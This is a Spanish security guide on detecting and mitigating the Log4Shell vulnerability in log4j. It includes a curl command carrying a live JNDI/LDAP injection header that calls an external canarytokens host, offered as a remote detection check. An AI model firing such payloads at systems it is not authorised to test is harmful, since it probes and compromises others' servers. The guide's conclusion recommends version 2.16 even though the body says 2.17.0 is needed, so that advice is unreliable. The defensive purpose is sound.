22/12/2021
CUIDADO CON LOS CONSEJOS DE LOG4SHELL QUE ENCUENTRES EN INTERNET
Debido al severo impacto de esta vulnerabilidad, se generó mucha discusión en Internet. Parte de esta información está desactualizada o es incorrecta y podría dejarte más vulnerable si la sigues.
Por el contrario, esta guía ha sido redactada por un equipo de ingenieros de seguridad profesionales de Datasec. Todo aquí ha sido revisado por expertos en seguridad. Esta publicación tiene enlaces a muchas otras guías y procedimientos que consideramos confiables.
¿CÓMO DETERMINAR SI NOS VEMOS AFECTADOS POR LOG4SHELL?
A medida que la vulnerabilidad Log4j continúa desarrollándose, ha salido a la luz más información sobre su impacto.
Esta vulnerabilidad afecta a cualquiera que esté usando los paquetes log4j. Si bien esto indica principalmente Java, no podemos olvidarnos de otros lenguajes como Scala, Groovy o Clojure que también se ven afectados.
A continuación, detallamos:
log4j v2
Casi todas las versiones de log4j versión 2 se ven afectadas (2.0-beta9 <= Apache log4j <= 2.14.1) por lo tanto, si estás utilizando cualquier versión de log4j anterior a la 2.15.0, lo más probable es que sea vulnerable y, en situaciones muy específicas, aún posiblemente vulnerable en la 2.15.0.
log4j v1
La versión 1 de log4j es vulnerable a otros ataques RCE (como CVE-2019-17571) y, si la estás utilizando, debe migrar a 2.17.0.
Recomendamos realizar un escaneo automático
Se crearon varias utilidades de línea de comandos que pueden verificar archivos .jar y .war en el directorio de tu proyecto de software e informar si alguno es vulnerable. Funciona escaneando hashes de clases log4j vulnerables conocidas. Si tienes una versión vulnerable de log4j en tu proyecto Java construido, el hash coincidirá con uno de los hash de la lista.
Estas utilidades se pueden encontrar y descargar desde los siguientes sitios oficiales de repositorios en Github:
https://github.com/lunasec-io/lunasec/releases/
https://github.com/CERTCC/CVE-2021-44228_scanner
Las herramientas de CLI anteriores, buscan automáticamente hashes de clases vulnerables. Debido a que las herramientas contienen cadenas de explotación necesarias para verificar, es posible que algunos detectores de virus en Windows la reconozcan falsamente como malware. Se recomienda agregar una excepción para poder continuar con el escaneo.
Escaneo de terminales remotos
La forma más sencilla de detectar si un punto final remoto es vulnerable es activar una consulta de DNS. Como se explicó anteriormente, el exploit hará que el servidor vulnerable intente obtener algún código remoto. Mediante el uso de una herramienta gratuita de registro de DNS en línea, podemos detectar cuándo se activa la vulnerabilidad y actuar de forma pertinente.
Esto es posible de ejecutarse mediante la siguiente línea de comandos:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.<RANDOM_STRING>.canarytokens.com/a}'
Tener en cuenta que este request no es privado, y se le deben modificar los parámetros de IP y Hostname.
Otra alternativa para esta verificación remota, es utilizar un escáner de vulnerabilidades como Tenable Nessus, herramienta que utilizamos regularmente en nuestros servicios de verificación de vulnerabilidades. Esta herramienta cuenta con verificaciones específicas tanto locales como remotas para reconocer si hay aplicaciones vulnerables que utilicen esta librería en versiones afectadas.
¿CÓMO PODEMOS MITIGAR Y REDUCIR EL RIESGO DE ESTA VULNERABILIDAD?
Ahora que sabemos dónde es vulnerable, las siguientes secciones nos ayudan a descubrir cómo parchearlo.
Este diagrama creado por el gobierno suizo es una excelente visualización del exploit Log4Shell. Tomemos nota de las posibles soluciones (que se muestran en rojo) a medida que repasamos las estrategias de mitigación.
Apache log4j ha lanzado una versión que corrige la vulnerabilidad Log4Shell a partir de la versión 2.17.0. Esta versión deshabilita JNDI de forma predeterminada y elimina la función de búsqueda de mensajes.
Podemos descargar Apache Log4J: https://logging.apache.org/log4j/2.x/download.html
Te recomendamos que actualices si es posible. Para la mayoría de las personas, esta es la solución definitiva y correcta al problema.
Tengamos en cuenta que las versiones intermedias 2.15.0 y 2.16.0 siguen siendo vulnerables, y la versión 2.17.0 soluciona por completo el bug de seguridad.
¿CÓMO PODEMOS PROTEGERNOS DE LOS PRÓXIMOS ZERO-DAY?
Cada vez es más evidente que Log4Shell no será la última vulnerabilidad de este tipo. Cualquier dependencia confiable puede tener fallas de seguridad o ser maliciosa, y siempre existe el riesgo de introducir vulnerabilidades accidentalmente en tu propio sistema.
La única forma de implementar software que sea verdaderamente resistente a futuras vulnerabilidades de seguridad como Log4Shell es implementar una arquitectura "segura por defecto". Esto es a lo que están migrando las empresas y los gobiernos federales actualmente debido a que es la única estrategia que los protege a largo plazo.
¿QUÉ ES "SEGURO POR DEFECTO"?
Teniendo esto en cuenta, lo mejor es actuar rápidamente y proactivamente. Para esto recomendamos integrar la seguridad en las partes de tu infraestructura que la necesitan específicamente. Software como Secure by Default está diseñado para fallar de manera predecible bajo ataque, de modo que los datos más confidenciales permanezcan seguros.
https://github.com/lunasec-io/lunasec
Este software está diseñado para que sea lo más fácil posible de implementar. Funciona dentro de las aplicaciones web, incorporando una capa adicional de aislamiento alrededor de los datos más confidenciales.
NO TODO CONSEJO ES UN BUEN CONSEJO
Los siguientes son consejos que hemos visto en línea que son erróneos y peligrosos. Si ves consejos en línea que contienen alguno de los siguientes, te pedimos, si es posible, que compartas esta publicación con los autores para ayudar a limitar las consecuencias de Log4Shell.
Actualizar Java es suficiente
Hay muchos informes en línea que indican que solo ciertas versiones de Java se ven afectadas y que está seguro si tiene una versión más reciente de Java. Incluso en las versiones más recientes, un atacante aún puede crear una instancia de clases locales en el servidor para activar un exploit. E incluso si no se encuentran exploits de inmediato, aún habilita un ataque de denegación de servicio cuando está utilizando una versión vulnerable de log4j.
Creemos que es probable que solo sea cuestión de tiempo antes de que todas las versiones actuales de Java se vean afectadas al ejecutar una versión vulnerable de log4j. La simple actualización de la versión de Java es insuficiente, y no debes confiar en esto como una defensa a largo plazo contra la explotación.
Un WAF te salvará de Log4Shell
La vulnerabilidad de Log4Shell no se puede mitigar por completo mediante el uso de WAF (Web Application Firewall) porque no requiere que su uso sea de acceso público. Es decir que internamente seguirá existiendo el riesgo.
Además, no existe una forma sencilla de "filtrar" las solicitudes maliciosas con una regla WAF simple porque las cargas útiles de Log4Shell pueden estar anidadas.
Si está utilizando una versión vulnerable de log4j, la única forma segura de mitigar Log4Shell es a través de una de las estrategias detalladas anteriormente.
¿QUÉ PODEMOS CONCLUIR?
* El parche original de Log4j 2.15 estaba incompleto; hay un nuevo parche 2.16 (CVE-2021-45046 <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046>).
* Si has actualizado a la versión 2.15, debes parchear hasta la 2.16 tan pronto como sea posible.
* La aplicación de parches sigue siendo la principal acción de reparación recomendada.
* La vulnerabilidad continúa siendo explotada activamente en la naturaleza.
* La vulnerabilidad es extensa. Debes investigar más allá de los servidores web de borde y el escaneo básico.
REFERENCIAS GENERALES
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
https://logging.apache.org/log4j/2.x/security.html
Listado de Software vulnerable:
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
Indicadores de compromiso:
Direcciones IP <https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217>
C2/Callback Domains <https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8>
Hashes
<https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha256sums.txt>
* MD5 Hashes<https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/md5sum.txt>
* SHA1 Hashes<https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha1sum.txt>
* SHA256 Hashes<https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes/blob/main/sha256sums.txt>
¿Consultas de SIEM para buscar IOCs de Log4j?:
* Splunk queries<https://www.splunk.com/en_us/blog/security/log4shell-detecting-log4j-vulnerability-cve-2021-44228-continued.html>
* Azure Sentinel query<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting%20Queries/Syslog/Apache_log4j_Vulnerability.yaml> y <https://gist.github.com/olafhartong/916ebc673ba066537740164f7e7e1d72>
